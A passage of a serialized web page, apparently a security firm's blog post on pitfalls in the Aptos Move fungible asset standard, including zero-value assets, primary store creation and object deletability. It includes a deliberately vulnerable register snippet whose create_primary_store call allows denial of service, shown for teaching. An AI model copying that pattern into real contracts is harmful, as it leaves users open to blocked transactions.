stores",{"type":23,"tag":24,"props":61570,"children":61571},{},[61572],{"type":28,"value":61573},"As mentioned, fungible assets are hot potatoes, meaning they must be destroyed after each transaction. If they lack abilities, how can they be used?",{"type":23,"tag":24,"props":61575,"children":61576},{},[61577,61579,61585],{"type":28,"value":61578},"Meet the ",{"type":23,"tag":92,"props":61580,"children":61582},{"className":61581},[],[61583],{"type":28,"value":61584},"FungibleStore",{"type":28,"value":720},{"type":23,"tag":87,"props":61587,"children":61589},{"className":128,"code":61588,"language":127,"meta":7,"style":7},"struct FungibleStore has key {\n    metadata: Object\u003CMetadata>,\n    balance: u64,\n    frozen: bool,\n}\n",[61590],{"type":23,"tag":92,"props":61591,"children":61592},{"__ignoreMap":7},[61593,61617,61644,61664,61683],{"type":23,"tag":134,"props":61594,"children":61595},{"class":136,"line":137},[61596,61600,61605,61609,61613],{"type":23,"tag":134,"props":61597,"children":61598},{"style":151},[61599],{"type":28,"value":8864},{"type":23,"tag":134,"props":61601,"children":61602},{"style":597},[61603],{"type":28,"value":61604}," FungibleStore",{"type":23,"tag":134,"props":61606,"children":61607},{"style":162},[61608],{"type":28,"value":8873},{"type":23,"tag":134,"props":61610,"children":61611},{"style":162},[61612],{"type":28,"value":5388},{"type":23,"tag":134,"props":61614,"children":61615},{"style":179},[61616],{"type":28,"value":463},{"type":23,"tag":134,"props":61618,"children":61619},{"class":136,"line":147},[61620,61624,61628,61632,61636,61640],{"type":23,"tag":134,"props":61621,"children":61622},{"style":162},[61623],{"type":28,"value":61060},{"type":23,"tag":134,"props":61625,"children":61626},{"style":168},[61627],{"type":28,"value":1697},{"type":23,"tag":134,"props":61629,"children":61630},{"style":597},[61631],{"type":28,"value":61069},{"type":23,"tag":134,"props":61633,"children":61634},{"style":179},[61635],{"type":28,"value":5262},{"type":23,"tag":134,"props":61637,"children":61638},{"style":597},[61639],{"type":28,"value":61078},{"type":23,"tag":134,"props":61641,"children":61642},{"style":179},[61643],{"type":28,"value":5595},{"type":23,"tag":134,"props":61645,"children":61646},{"class":136,"line":185},[61647,61652,61656,61660],{"type":23,"tag":134,"props":61648,"children":61649},{"style":162},[61650],{"type":28,"value":61651},"    balance",{"type":23,"tag":134,"props":61653,"children":61654},{"style":168},[61655],{"type":28,"value":1697},{"type":23,"tag":134,"props":61657,"children":61658},{"style":597},[61659],{"type":28,"value":5316},{"type":23,"tag":134,"props":61661,"children":61662},{"style":179},[61663],{"type":28,"value":687},{"type":23,"tag":134,"props":61665,"children":61666},{"class":136,"line":221},[61667,61671,61675,61679],{"type":23,"tag":134,"props":61668,"children":61669},{"style":162},[61670],{"type":28,"value":60721},{"type":23,"tag":134,"props":61672,"children":61673},{"style":168},[61674],{"type":28,"value":1697},{"type":23,"tag":134,"props":61676,"children":61677},{"style":597},[61678],{"type":28,"value":11517},{"type":23,"tag":134,"props":61680,"children":61681},{"style":179},[61682],{"type":28,"value":687},{"type":23,"tag":134,"props":61684,"children":61685},{"class":136,"line":332},[61686],{"type":23,"tag":134,"props":61687,"children":61688},{"style":179},[61689],{"type":28,"value":1098},{"type":23,"tag":24,"props":61691,"children":61692},{},[61693,61698,61700,61705,61707,61712,61714,61719,61721,61726],{"type":23,"tag":92,"props":61694,"children":61696},{"className":61695},[],[61697],{"type":28,"value":61584},{"type":28,"value":61699}," manages balances and metadata instead of holding the actual ",{"type":23,"tag":92,"props":61701,"children":61703},{"className":61702},[],[61704],{"type":28,"value":61019},{"type":28,"value":61706}," (it can't because ",{"type":23,"tag":92,"props":61708,"children":61710},{"className":61709},[],[61711],{"type":28,"value":61019},{"type":28,"value":61713}," doesn't have ",{"type":23,"tag":92,"props":61715,"children":61717},{"className":61716},[],[61718],{"type":28,"value":5397},{"type":28,"value":61720},"). Withdrawals create temporary ",{"type":23,"tag":92,"props":61722,"children":61724},{"className":61723},[],[61725],{"type":28,"value":61019},{"type":28,"value":61727}," resources, while deposits destroy them and update the balance. This design prevents freezing bypasses and improves observability.",{"type":23,"tag":18268,"props":61729,"children":61730},{},[],{"type":23,"tag":24,"props":61732,"children":61733},{},[61734,61736,61741,61743,61748],{"type":28,"value":61735},"A curious reader might wonder, is there any other way to create or destroy a ",{"type":23,"tag":92,"props":61737,"children":61739},{"className":61738},[],[61740],{"type":28,"value":61019},{"type":28,"value":61742}," besides withdrawing, depositing or minting it? There is — anyone can create and destroy a zero-value ",{"type":23,"tag":92,"props":61744,"children":61746},{"className":61745},[],[61747],{"type":28,"value":61019},{"type":28,"value":720},{"type":23,"tag":87,"props":61750,"children":61752},{"className":128,"code":61751,"language":127,"meta":7,"style":7},"public fun destroy_zero(fungible_asset: FungibleAsset) {\n    let FungibleAsset { amount, metadata: _ } = fungible_asset;\n    assert!(amount == 0, error::invalid_argument(EAMOUNT_IS_NOT_ZERO));\n}\n\npublic fun zero\u003CT: key>(metadata: Object\u003CT>): FungibleAsset {\n    FungibleAsset {\n        metadata: object::convert(metadata),\n        amount: 0,\n    }\n}\n",[61753],{"type":23,"tag":92,"props":61754,"children":61755},{"__ignoreMap":7},[61756,61793,61845,61888,61895,61902,61974,61986,62024,62043,62050],{"type":23,"tag":134,"props":61757,"children":61758},{"class":136,"line":137},[61759,61763,61767,61772,61776,61781,61785,61789],{"type":23,"tag":134,"props":61760,"children":61761},{"style":162},[61762],{"type":28,"value":61183},{"type":23,"tag":134,"props":61764,"children":61765},{"style":162},[61766],{"type":28,"value":5664},{"type":23,"tag":134,"props":61768,"children":61769},{"style":264},[61770],{"type":28,"value":61771}," destroy_zero",{"type":23,"tag":134,"props":61773,"children":61774},{"style":179},[61775],{"type":28,"value":272},{"type":23,"tag":134,"props":61777,"children":61778},{"style":162},[61779],{"type":28,"value":61780},"fungible_asset",{"type":23,"tag":134,"props":61782,"children":61783},{"style":168},[61784],{"type":28,"value":1697},{"type":23,"tag":134,"props":61786,"children":61787},{"style":597},[61788],{"type":28,"value":61048},{"type":23,"tag":134,"props":61790,"children":61791},{"style":179},[61792],{"type":28,"value":14272},{"type":23,"tag":134,"props":61794,"children":61795},{"class":136,"line":147},[61796,61800,61804,61808,61812,61816,61821,61825,61829,61833,61837,61841],{"type":23,"tag":134,"props":61797,"children":61798},{"style":151},[61799],{"type":28,"value":154},{"type":23,"tag":134,"props":61801,"children":61802},{"style":597},[61803],{"type":28,"value":61048},{"type":23,"tag":134,"props":61805,"children":61806},{"style":179},[61807],{"type":28,"value":9049},{"type":23,"tag":134,"props":61809,"children":61810},{"style":162},[61811],{"type":28,"value":19784},{"type":23,"tag":134,"props":61813,"children":61814},{"style":179},[61815],{"type":28,"value":242},{"type":23,"tag":134,"props":61817,"children":61818},{"style":162},[61819],{"type":28,"value":61820},"metadata",{"type":23,"tag":134,"props":61822,"children":61823},{"style":168},[61824],{"type":28,"value":1697},{"type":23,"tag":134,"props":61826,"children":61827},{"style":162},[61828],{"type":28,"value":197},{"type":23,"tag":134,"props":61830,"children":61831},{"style":179},[61832],{"type":28,"value":35700},{"type":23,"tag":134,"props":61834,"children":61835},{"style":168},[61836],{"type":28,"value":257},{"type":23,"tag":134,"props":61838,"children":61839},{"style":162},[61840],{"type":28,"value":61315},{"type":23,"tag":134,"props":61842,"children":61843},{"style":179},[61844],{"type":28,"value":182},{"type":23,"tag":134,"props":61846,"children":61847},{"class":136,"line":185},[61848,61853,61857,61861,61865,61869,61874,61878,61883],{"type":23,"tag":134,"props":61849,"children":61850},{"style":264},[61851],{"type":28,"value":61852},"    assert!",{"type":23,"tag":134,"props":61854,"children":61855},{"style":179},[61856],{"type":28,"value":272},{"type":23,"tag":134,"props":61858,"children":61859},{"style":162},[61860],{"type":28,"value":19784},{"type":23,"tag":134,"props":61862,"children":61863},{"style":168},[61864],{"type":28,"value":454},{"type":23,"tag":134,"props":61866,"children":61867},{"style":205},[61868],{"type":28,"value":208},{"type":23,"tag":134,"props":61870,"children":61871},{"style":179},[61872],{"type":28,"value":61873},", error",{"type":23,"tag":134,"props":61875,"children":61876},{"style":168},[61877],{"type":28,"value":660},{"type":23,"tag":134,"props":61879,"children":61880},{"style":264},[61881],{"type":28,"value":61882},"invalid_argument",{"type":23,"tag":134,"props":61884,"children":61885},{"style":179},[61886],{"type":28,"value":61887},"(EAMOUNT_IS_NOT_ZERO));\n",{"type":23,"tag":134,"props":61889,"children":61890},{"class":136,"line":221},[61891],{"type":23,"tag":134,"props":61892,"children":61893},{"style":179},[61894],{"type":28,"value":1098},{"type":23,"tag":134,"props":61896,"children":61897},{"class":136,"line":332},[61898],{"type":23,"tag":134,"props":61899,"children":61900},{"emptyLinePlaceholder":15},[61901],{"type":28,"value":865},{"type":23,"tag":134,"props":61903,"children":61904},{"class":136,"line":438},[61905,61909,61913,61918,61922,61926,61930,61934,61938,61942,61946,61950,61954,61958,61962,61966,61970],{"type":23,"tag":134,"props":61906,"children":61907},{"style":162},[61908],{"type":28,"value":61183},{"type":23,"tag":134,"props":61910,"children":61911},{"style":162},[61912],{"type":28,"value":5664},{"type":23,"tag":134,"props":61914,"children":61915},{"style":162},[61916],{"type":28,"value":61917}," zero",{"type":23,"tag":134,"props":61919,"children":61920},{"style":179},[61921],{"type":28,"value":5262},{"type":23,"tag":134,"props":61923,"children":61924},{"style":597},[61925],{"type":28,"value":5444},{"type":23,"tag":134,"props":61927,"children":61928},{"style":168},[61929],{"type":28,"value":1697},{"type":23,"tag":134,"props":61931,"children":61932},{"style":162},[61933],{"type":28,"value":5388},{"type":23,"tag":134,"props":61935,"children":61936},{"style":179},[61937],{"type":28,"value":7069},{"type":23,"tag":134,"props":61939,"children":61940},{"style":162},[61941],{"type":28,"value":61820},{"type":23,"tag":134,"props":61943,"children":61944},{"style":168},[61945],{"type":28,"value":1697},{"type":23,"tag":134,"props":61947,"children":61948},{"style":597},[61949],{"type":28,"value":61069},{"type":23,"tag":134,"props":61951,"children":61952},{"style":179},[61953],{"type":28,"value":5262},{"type":23,"tag":134,"props":61955,"children":61956},{"style":597},[61957],{"type":28,"value":5444},{"type":23,"tag":134,"props":61959,"children":61960},{"style":179},[61961],{"type":28,"value":7848},{"type":23,"tag":134,"props":61963,"children":61964},{"style":168},[61965],{"type":28,"value":1697},{"type":23,"tag":134,"props":61967,"children":61968},{"style":597},[61969],{"type":28,"value":61048},{"type":23,"tag":134,"props":61971,"children":61972},{"style":179},[61973],{"type":28,"value":463},{"type":23,"tag":134,"props":61975,"children":61976},{"class":136,"line":466},[61977,61982],{"type":23,"tag":134,"props":61978,"children":61979},{"style":597},[61980],{"type":28,"value":61981},"    FungibleAsset",{"type":23,"tag":134,"props":61983,"children":61984},{"style":179},[61985],{"type":28,"value":463},{"type":23,"tag":134,"props":61987,"children":61988},{"class":136,"line":479},[61989,61994,61998,62003,62007,62012,62016,62020],{"type":23,"tag":134,"props":61990,"children":61991},{"style":162},[61992],{"type":28,"value":61993},"        metadata",{"type":23,"tag":134,"props":61995,"children":61996},{"style":168},[61997],{"type":28,"value":1697},{"type":23,"tag":134,"props":61999,"children":62000},{"style":179},[62001],{"type":28,"value":62002}," object",{"type":23,"tag":134,"props":62004,"children":62005},{"style":168},[62006],{"type":28,"value":660},{"type":23,"tag":134,"props":62008,"children":62009},{"style":264},[62010],{"type":28,"value":62011},"convert",{"type":23,"tag":134,"props":62013,"children":62014},{"style":179},[62015],{"type":28,"value":272},{"type":23,"tag":134,"props":62017,"children":62018},{"style":162},[62019],{"type":28,"value":61820},{"type":23,"tag":134,"props":62021,"children":62022},{"style":179},[62023],{"type":28,"value":6194},{"type":23,"tag":134,"props":62025,"children":62026},{"class":136,"line":497},[62027,62031,62035,62039],{"type":23,"tag":134,"props":62028,"children":62029},{"style":162},[62030],{"type":28,"value":6907},{"type":23,"tag":134,"props":62032,"children":62033},{"style":168},[62034],{"type":28,"value":1697},{"type":23,"tag":134,"props":62036,"children":62037},{"style":205},[62038],{"type":28,"value":208},{"type":23,"tag":134,"props":62040,"children":62041},{"style":179},[62042],{"type":28,"value":687},{"type":23,"tag":134,"props":62044,"children":62045},{"class":136,"line":518},[62046],{"type":23,"tag":134,"props":62047,"children":62048},{"style":179},[62049],{"type":28,"value":533},{"type":23,"tag":134,"props":62051,"children":62052},{"class":136,"line":527},[62053],{"type":23,"tag":134,"props":62054,"children":62055},{"style":179},[62056],{"type":28,"value":1098},{"type":23,"tag":24,"props":62058,"children":62059},{},[62060],{"type":28,"value":62061},"In theory, this shouldn’t pose a problem. After all, having zero of something doesn’t exactly qualify as ownership.",{"type":23,"tag":24,"props":62063,"children":62064},{},[62065,62067,62072],{"type":28,"value":62066},"In practice, the ability to freely mint and burn zero ",{"type":23,"tag":92,"props":62068,"children":62070},{"className":62069},[],[62071],{"type":28,"value":61161},{"type":28,"value":62073}," of any type could present a significant risk. During our reviews, we enountered many protocols that did not account for this possibility, leading to arithmetic errors, DoS logic bugs or inaccurate calculations. Keep in mind that edge case, we'll come back to this.",{"type":23,"tag":9072,"props":62075,"children":62077},{"id":62076},"primary-and-secondary-stores",[62078],{"type":28,"value":62079},"Primary and secondary stores",{"type":23,"tag":24,"props":62081,"children":62082},{},[62083,62089,62091,62097,62099,62104],{"type":23,"tag":92,"props":62084,"children":62086},{"className":62085},[],[62087],{"type":28,"value":62088},"FungibleStores",{"type":28,"value":62090}," in comparison to ",{"type":23,"tag":92,"props":62092,"children":62094},{"className":62093},[],[62095],{"type":28,"value":62096},"CoinStores",{"type":28,"value":62098}," are not unique. Each user can have multiple ",{"type":23,"tag":92,"props":62100,"children":62102},{"className":62101},[],[62103],{"type":28,"value":61584},{"type":28,"value":62105}," objects for a given token!",{"type":23,"tag":24,"props":62107,"children":62108},{},[62109,62111,62118,62120,62125],{"type":28,"value":62110},"A primary fungible store is maintained via the aptly named ",{"type":23,"tag":31,"props":62112,"children":62115},{"href":62113,"rel":62114},"https://github.com/aptos-labs/aptos-core/blob/2bea962eac4743db6cc0ae2e8a2fd7fcc323b121/aptos-move/framework/aptos-framework/sources/primary_fungible_store.move",[35],[62116],{"type":28,"value":62117},"primary_fungible_store",{"type":28,"value":62119}," module. It's \"primary\" because of its deterministic location, which is calculated using the owner and the fungible asset's ",{"type":23,"tag":92,"props":62121,"children":62123},{"className":62122},[],[62124],{"type":28,"value":61078},{"type":28,"value":62126}," addresses. Users can also create a number of \"secondary\" fungible stores by themselves.",{"type":23,"tag":24,"props":62128,"children":62129},{},[62130],{"type":28,"value":62131},"One key feature of the primary fungible stores is their permissionless creation. This can lead to surprising denial of service bugs!",{"type":23,"tag":87,"props":62133,"children":62135},{"className":128,"code":62134,"language":127,"meta":7,"style":7},"public entry fun register(\n    user: &signer, [...]\n) acquires [...] {\n    [...]\n    let wallet_store = create_primary_store(signer::address_of(sender), get_metadata());\n    [...]\n}\n",[62136],{"type":23,"tag":92,"props":62137,"children":62138},{"__ignoreMap":7},[62139,62164,62196,62219,62235,62289,62304],{"type":23,"tag":134,"props":62140,"children":62141},{"class":136,"line":137},[62142,62146,62151,62155,62160],{"type":23,"tag":134,"props":62143,"children":62144},{"style":162},[62145],{"type":28,"value":61183},{"type":23,"tag":134,"props":62147,"children":62148},{"style":162},[62149],{"type":28,"value":62150}," entry",{"type":23,"tag":134,"props":62152,"children":62153},{"style":162},[62154],{"type":28,"value":5664},{"type":23,"tag":134,"props":62156,"children":62157},{"style":264},[62158],{"type":28,"value":62159}," register",{"type":23,"tag":134,"props":62161,"children":62162},{"style":179},[62163],{"type":28,"value":642},{"type":23,"tag":134,"props":62165,"children":62166},{"class":136,"line":147},[62167,62172,62176,62180,62184,62188,62192],{"type":23,"tag":134,"props":62168,"children":62169},{"style":162},[62170],{"type":28,"value":62171},"    user",{"type":23,"tag":134,"props":62173,"children":62174},{"style":168},[62175],{"type":28,"value":1697},{"type":23,"tag":134,"props":62177,"children":62178},{"style":168},[62179],{"type":28,"value":6599},{"type":23,"tag":134,"props":62181,"children":62182},{"style":162},[62183],{"type":28,"value":6604},{"type":23,"tag":134,"props":62185,"children":62186},{"style":179},[62187],{"type":28,"value":43639},{"type":23,"tag":134,"props":62189,"children":62190},{"style":168},[62191],{"type":28,"value":9054},{"type":23,"tag":134,"props":62193,"children":62194},{"style":179},[62195],{"type":28,"value":11239},{"type":23,"tag":134,"props":62197,"children":62198},{"class":136,"line":185},[62199,62203,62207,62211,62215],{"type":23,"tag":134,"props":62200,"children":62201},{"style":179},[62202],{"type":28,"value":252},{"type":23,"tag":134,"props":62204,"children":62205},{"style":162},[62206],{"type":28,"value":5801},{"type":23,"tag":134,"props":62208,"children":62209},{"style":179},[62210],{"type":28,"value":22511},{"type":23,"tag":134,"props":62212,"children":62213},{"style":168},[62214],{"type":28,"value":9054},{"type":23,"tag":134,"props":62216,"children":62217},{"style":179},[62218],{"type":28,"value":61274},{"type":23,"tag":134,"props":62220,"children":62221},{"class":136,"line":221},[62222,62227,62231],{"type":23,"tag":134,"props":62223,"children":62224},{"style":179},[62225],{"type":28,"value":62226},"    [",{"type":23,"tag":134,"props":62228,"children":62229},{"style":168},[62230],{"type":28,"value":9054},{"type":23,"tag":134,"props":62232,"children":62233},{"style":179},[62234],{"type":28,"value":11239},{"type":23,"tag":134,"props":62236,"children":62237},{"class":136,"line":332},[62238,62242,62247,62251,62256,62260,62264,62268,62272,62276,62280,62285],{"type":23,"tag":134,"props":62239,"children":62240},{"style":151},[62241],{"type":28,"value":154},{"type":23,"tag":134,"props":62243,"children":62244},{"style":162},[62245],{"type":28,"value":62246}," wallet_store",{"type":23,"tag":134,"props":62248,"children":62249},{"style":168},[62250],{"type":28,"value":171},{"type":23,"tag":134,"props":62252,"children":62253},{"style":264},[62254],{"type":28,"value":62255}," create_primary_store",{"type":23,"tag":134,"props":62257,"children":62258},{"style":179},[62259],{"type":28,"value":6658},{"type":23,"tag":134,"props":62261,"children":62262},{"style":168},[62263],{"type":28,"value":660},{"type":23,"tag":134,"props":62265,"children":62266},{"style":264},[62267],{"type":28,"value":6667},{"type":23,"tag":134,"props":62269,"children":62270},{"style":179},[62271],{"type":28,"value":272},{"type":23,"tag":134,"props":62273,"children":62274},{"style":162},[62275],{"type":28,"value":61369},{"type":23,"tag":134,"props":62277,"children":62278},{"style":179},[62279],{"type":28,"value":14646},{"type":23,"tag":134,"props":62281,"children":62282},{"style":264},[62283],{"type":28,"value":62284},"get_metadata",{"type":23,"tag":134,"props":62286,"children":62287},{"style":179},[62288],{"type":28,"value":14894},{"type":23,"tag":134,"props":62290,"children":62291},{"class":136,"line":438},[62292,62296,62300],{"type":23,"tag":134,"props":62293,"children":62294},{"style":179},[62295],{"type":28,"value":62226},{"type":23,"tag":134,"props":62297,"children":62298},{"style":168},[62299],{"type":28,"value":9054},{"type":23,"tag":134,"props":62301,"children":62302},{"style":179},[62303],{"type":28,"value":11239},{"type":23,"tag":134,"props":62305,"children":62306},{"class":136,"line":466},[62307],{"type":23,"tag":134,"props":62308,"children":62309},{"style":179},[62310],{"type":28,"value":1098},{"type":23,"tag":24,"props":62312,"children":62313},{},[62314,62315,62321,62323,62329],{"type":28,"value":16084},{"type":23,"tag":92,"props":62316,"children":62318},{"className":62317},[],[62319],{"type":28,"value":62320},"create_primary_store",{"type":28,"value":62322}," function can introduce DoS vulnerabilities because it aborts if the store already exists. Using ",{"type":23,"tag":92,"props":62324,"children":62326},{"className":62325},[],[62327],{"type":28,"value":62328},"ensure_primary_store_exists",{"type":28,"value":62330}," is recommended to avoid such issues.",{"type":23,"tag":61,"props":62332,"children":62334},{"id":62333},"fungible-assets-and-objects",[62335],{"type":28,"value":62336},"Fungible assets and objects",{"type":23,"tag":24,"props":62338,"children":62339},{},[62340,62342,62347,62349,62356],{"type":28,"value":62341},"The fungible asset standard is not a standalone module. It has heavy dependencies on a sibling module, the ",{"type":23,"tag":92,"props":62343,"children":62345},{"className":62344},[],[62346],{"type":28,"value":48356},{"type":28,"value":62348}," module, introduced in ",{"type":23,"tag":31,"props":62350,"children":62353},{"href":62351,"rel":62352},"https://github.com/aptos-foundation/AIPs/blob/main/aips/aip-10.md",[35],[62354],{"type":28,"value":62355},"AIP-10",{"type":28,"value":720},{"type":23,"tag":78,"props":62358,"children":62359},{},[62360],{"type":23,"tag":24,"props":62361,"children":62362},{},[62363,62367],{"type":23,"tag":134,"props":62364,"children":62365},{},[62366],{"type":28,"value":60958},{"type":28,"value":62368}," proposes a standard for Fungible Assets (FA) using Move Objects. In this model, any on-chain asset represented as an object can also be expressed as a fungible asset allowing for a single object to be represented by many distinct, yet interchangeable units of ownership.",{"type":23,"tag":24,"props":62370,"children":62371},{},[62372],{"type":28,"value":62373},"These two modules are closely intertwined, and their connection can be surprisingly intricate.",{"type":23,"tag":9072,"props":62375,"children":62377},{"id":62376},"creation-and-deletion",[62378],{"type":28,"value":62379},"Creation and deletion",{"type":23,"tag":24,"props":62381,"children":62382},{},[62383,62385,62391],{"type":28,"value":62384},"To create a fungible resource, an undeletable object must first be created. \"Undeletable\" means, that it's not possible to get a permission to delete it. This is verified in ",{"type":23,"tag":92,"props":62386,"children":62388},{"className":62387},[],[62389],{"type":28,"value":62390},"fungible_asset::add_fungibility",{"type":28,"value":1697},{"type":23,"tag":87,"props":62393,"children":62395},{"className":128,"code":62394,"language":127,"meta":7,"style":7},"assert!(!object::can_generate_delete_ref(constructor_ref), error::invalid_argument(EOBJECT_IS_DELETABLE));\n",[62396],{"type":23,"tag":92,"props":62397,"children":62398},{"__ignoreMap":7},[62399],{"type":23,"tag":134,"props":62400,"children":62401},{"class":136,"line":137},[62402,62406,62410,62414,62419,62423,62428,62432,62437,62442,62446,62450],{"type":23,"tag":134,"props":62403,"children":62404},{"style":264},[62405],{"type":28,"value":41484},{"type":23,"tag":134,"props":62407,"children":62408},{"style":179},[62409],{"type":28,"value":272},{"type":23,"tag":134,"props":62411,"children":62412},{"style":168},[62413],{"type":28,"value":20099},{"type":23,"tag":134,"props":62415,"children":62416},{"style":179},[62417],{"type":28,"value":62418},"object",{"type":23,"tag":134,"props":62420,"children":62421},{"style":168},[62422],{"type":28,"value":660},{"type":23,"tag":134,"props":62424,"children":62425},{"style":264},[62426],{"type":28,"value":62427},"can_generate_delete_ref",{"type":23,"tag":134,"props":62429,"children":62430},{"style":179},[62431],{"type":28,"value":272},{"type":23,"tag":134,"props":62433,"children":62434},{"style":162},[62435],{"type":28,"value":62436},"constructor_ref",{"type":23,"tag":134,"props":62438,"children":62439},{"style":179},[62440],{"type":28,"value":62441},"), error",{"type":23,"tag":134,"props":62443,"children":62444},{"style":168},[62445],{"type":28,"value":660},{"type":23,"tag":134,"props":62447,"children":62448},{"style":264},[62449],{"type":28,"value":61882},{"type":23,"tag":134,"props":62451,"children":62452},{"style":179},[62453],{"type":28,"value":62454},"(EOBJECT_IS_DELETABLE));\n",{"type":23,"tag":24,"props":62456,"children":62457},{},[62458,62460,62465,62467,62472,62473,62480],{"type":28,"value":62459},"This object serves as the foundation for ownership tokens in the form of a ",{"type":23,"tag":92,"props":62461,"children":62463},{"className":62462},[],[62464],{"type":28,"value":61019},{"type":28,"value":62466},". This means that allowing it to be deletable wouldn't make sense and would impact the usability of such fungible assets, restricting users from accessing critical functionalities such as creating new stores. In the past the ",{"type":23,"tag":92,"props":62468,"children":62470},{"className":62469},[],[62471],{"type":28,"value":62390},{"type":28,"value":5915},{"type":23,"tag":31,"props":62474,"children":62477},{"href":62475,"rel":62476},"https://github.com/aptos-labs/aptos-core/commit/6976f8e9004b0f6ebb6fd976410d695c5a5a7ace",[35],[62478],{"type":28,"value":62479},"lacked this assert",{"type":28,"value":62481},", which we discovered and reported.",{"type":23,"tag":24,"props":62483,"children":62484},{},[62485,62490,62492,62497,62499,62504],{"type":23,"tag":92,"props":62486,"children":62488},{"className":62487},[],[62489],{"type":28,"value":62390},{"type":28,"value":62491}," transfers the ",{"type":23,"tag":92,"props":62493,"children":62495},{"className":62494},[],[62496],{"type":28,"value":61078},{"type":28,"value":62498}," and associated resources to this new object. After that, with the appropriate permissions, the ",{"type":23,"tag":92,"props":62500,"children":62502},{"className":62501},[],[62503],{"type":28,"value":61019},{"type":28,"value":62505}," can be minted, representing a share of ownership in that object.",{"type":23,"tag":87,"props":62507,"children":62509},{"className":128,"code":62508,"language":127,"meta":7,"style":7},"/// Make an existing object fungible by adding the Metadata resource.\npublic fun add_fungibility(\n    [...]\n): Object\u003CMetadata> {\n    [...]\n    move_to(metadata_object_signer,\n        Metadata {\n            name,\n            symbol,\n            decimals,\n            icon_uri,\n            project_uri,\n        }\n    );\n[...]\n}\n",[62510],{"type":23,"tag":92,"props":62511,"children":62512},{"__ignoreMap":7},[62513,62521,62541,62556,62583,62598,62619,62631,62643,62655,62667,62679,62691,62698,62705,62720],{"type":23,"tag":134,"props":62514,"children":62515},{"class":136,"line":137},[62516],{"type":23,"tag":134,"props":62517,"children":62518},{"style":141},[62519],{"type":28,"value":62520},"/// Make an existing object fungible by adding the Metadata resource.\n",{"type":23,"tag":134,"props":62522,"children":62523},{"class":136,"line":147},[62524,62528,62532,62537],{"type":23,"tag":134,"props":62525,"children":62526},{"style":162},[62527],{"type":28,"value":61183},{"type":23,"tag":134,"props":62529,"children":62530},{"style":162},[62531],{"type":28,"value":5664},{"type":23,"tag":134,"props":62533,"children":62534},{"style":264},[62535],{"type":28,"value":62536}," add_fungibility",{"type":23,"tag":134,"props":62538,"children":62539},{"style":179},[62540],{"type":28,"value":642},{"type":23,"tag":134,"props":62542,"children":62543},{"class":136,"line":185},[62544,62548,62552],{"type":23,"tag":134,"props":62545,"children":62546},{"style":179},[62547],{"type":28,"value":62226},{"type":23,"tag":134,"props":62549,"children":62550},{"style":168},[62551],{"type":28,"value":9054},{"type":23,"tag":134,"props":62553,"children":62554},{"style":179},[62555],{"type":28,"value":11239},{"type":23,"tag":134,"props":62557,"children":62558},{"class":136,"line":221},[62559,62563,62567,62571,62575,62579],{"type":23,"tag":134,"props":62560,"children":62561},{"style":179},[62562],{"type":28,"value":296},{"type":23,"tag":134,"props":62564,"children":62565},{"style":168},[62566],{"type":28,"value":1697},{"type":23,"tag":134,"props":62568,"children":62569},{"style":597},[62570],{"type":28,"value":61069},{"type":23,"tag":134,"props":62572,"children":62573},{"style":179},[62574],{"type":28,"value":5262},{"type":23,"tag":134,"props":62576,"children":62577},{"style":597},[62578],{"type":28,"value":61078},{"type":23,"tag":134,"props":62580,"children":62581},{"style":179},[62582],{"type":28,"value":6739},{"type":23,"tag":134,"props":62584,"children":62585},{"class":136,"line":332},[62586,62590,62594],{"type":23,"tag":134,"props":62587,"children":62588},{"style":179},[62589],{"type":28,"value":62226},{"type":23,"tag":134,"props":62591,"children":62592},{"style":168},[62593],{"type":28,"value":9054},{"type":23,"tag":134,"props":62595,"children":62596},{"style":179},[62597],{"type":28,"value":11239},{"type":23,"tag":134,"props":62599,"children":62600},{"class":136,"line":438},[62601,62606,62610,62615],{"type":23,"tag":134,"props":62602,"children":62603},{"style":264},[62604],{"type":28,"value":62605},"    move_to",{"type":23,"tag":134,"props":62607,"children":62608},{"style":179},[62609],{"type":28,"value":272},{"type":23,"tag":134,"props":62611,"children":62612},{"style":162},[62613],{"type":28,"value":62614},"metadata_object_signer",{"type":23,"tag":134,"props":62616,"children":62617},{"style":179},[62618],{"type":28,"value":687},{"type":23,"tag":134,"props":62620,"children":62621},{"class":136,"line":466},[62622,62627],{"type":23,"tag":134,"props":62623,"children":62624},{"style":597},[62625],{"type":28,"value":62626},"        Metadata",{"type":23,"tag":134,"props":62628,"children":62629},{"style":179},[62630],{"type":28,"value":463},{"type":23,"tag":134,"props":62632,"children":62633},{"class":136,"line":479},[62634,62639],{"type":23,"tag":134,"props":62635,"children":62636},{"style":162},[62637],{"type":28,"value":62638},"            name",{"type":23,"tag":134,"props":62640,"children":62641},{"style":179},[62642],{"type":28,"value":687},{"type":23,"tag":134,"props":62644,"children":62645},{"class":136,"line":497},[62646,62651],{"type":23,"tag":134,"props":62647,"children":62648},{"style":162},[62649],{"type":28,"value":62650},"            symbol",{"type":23,"tag":134,"props":62652,"children":62653},{"style":179},[62654],{"type":28,"value":687},{"type":23,"tag":134,"props":62656,"children":62657},{"class":136,"line":518},[62658,62663],{"type":23,"tag":134,"props":62659,"children":62660},{"style":162},[62661],{"type":28,"value":62662},"            decimals",{"type":23,"tag":134,"props":62664,"children":62665},{"style":179},[62666],{"type":28,"value":687},{"type":23,"tag":134,"props":62668,"children":62669},{"class":136,"line":527},[62670,62675],{"type":23,"tag":134,"props":62671,"children":62672},{"style":162},[62673],{"type":28,"value":62674},"            icon_uri",{"type":23,"tag":134,"props":62676,"children":62677},{"style":179},[62678],{"type":28,"value":687},{"type":23,"tag":134,"props":62680,"children":62681},{"class":136,"line":780},[62682,62687],{"type":23,"tag":134,"props":62683,"children":62684},{"style":162},[62685],{"type":28,"value":62686},"            project_uri",{"type":23,"tag":134,"props":62688,"children":62689},{"style":179},[62690],{"type":28,"value":687},{"type":23,"tag":134,"props":62692,"children":62693},{"class":136,"line":797},[62694],{"type":23,"tag":134,"props":62695,"children":62696},{"style":179},[62697],{"type":28,"value":524},{"type":23,"tag":134,"props":62699,"children":62700},{"class":136,"line":814},[62701],{"type":23,"tag":134,"props":62702,"children":62703},{"style":179},[62704],{"type":28,"value":43158},{"type":23,"tag":134,"props":62706,"children":62707},{"class":136,"line":827},[62708,62712,62716],{"type":23,"tag":134,"props":62709,"children":62710},{"style":179},[62711],{"type":28,"value":924},{"type":23,"tag":134,"props":62713,"children":62714},{"style":168},[62715],{"type":28,"value":9054},{"type":23,"tag":134,"props":62717,"children":62718},{"style":179},[62719],{"type":28,"value":11239},{"type":23,"tag":134,"props":62721,"children":62722},{"class":136,"line":836},[62723],{"type":23,"tag":134,"props":62724,"children":62725},{"style":179},[62726],{"type":28,"value":1098},{"type":23,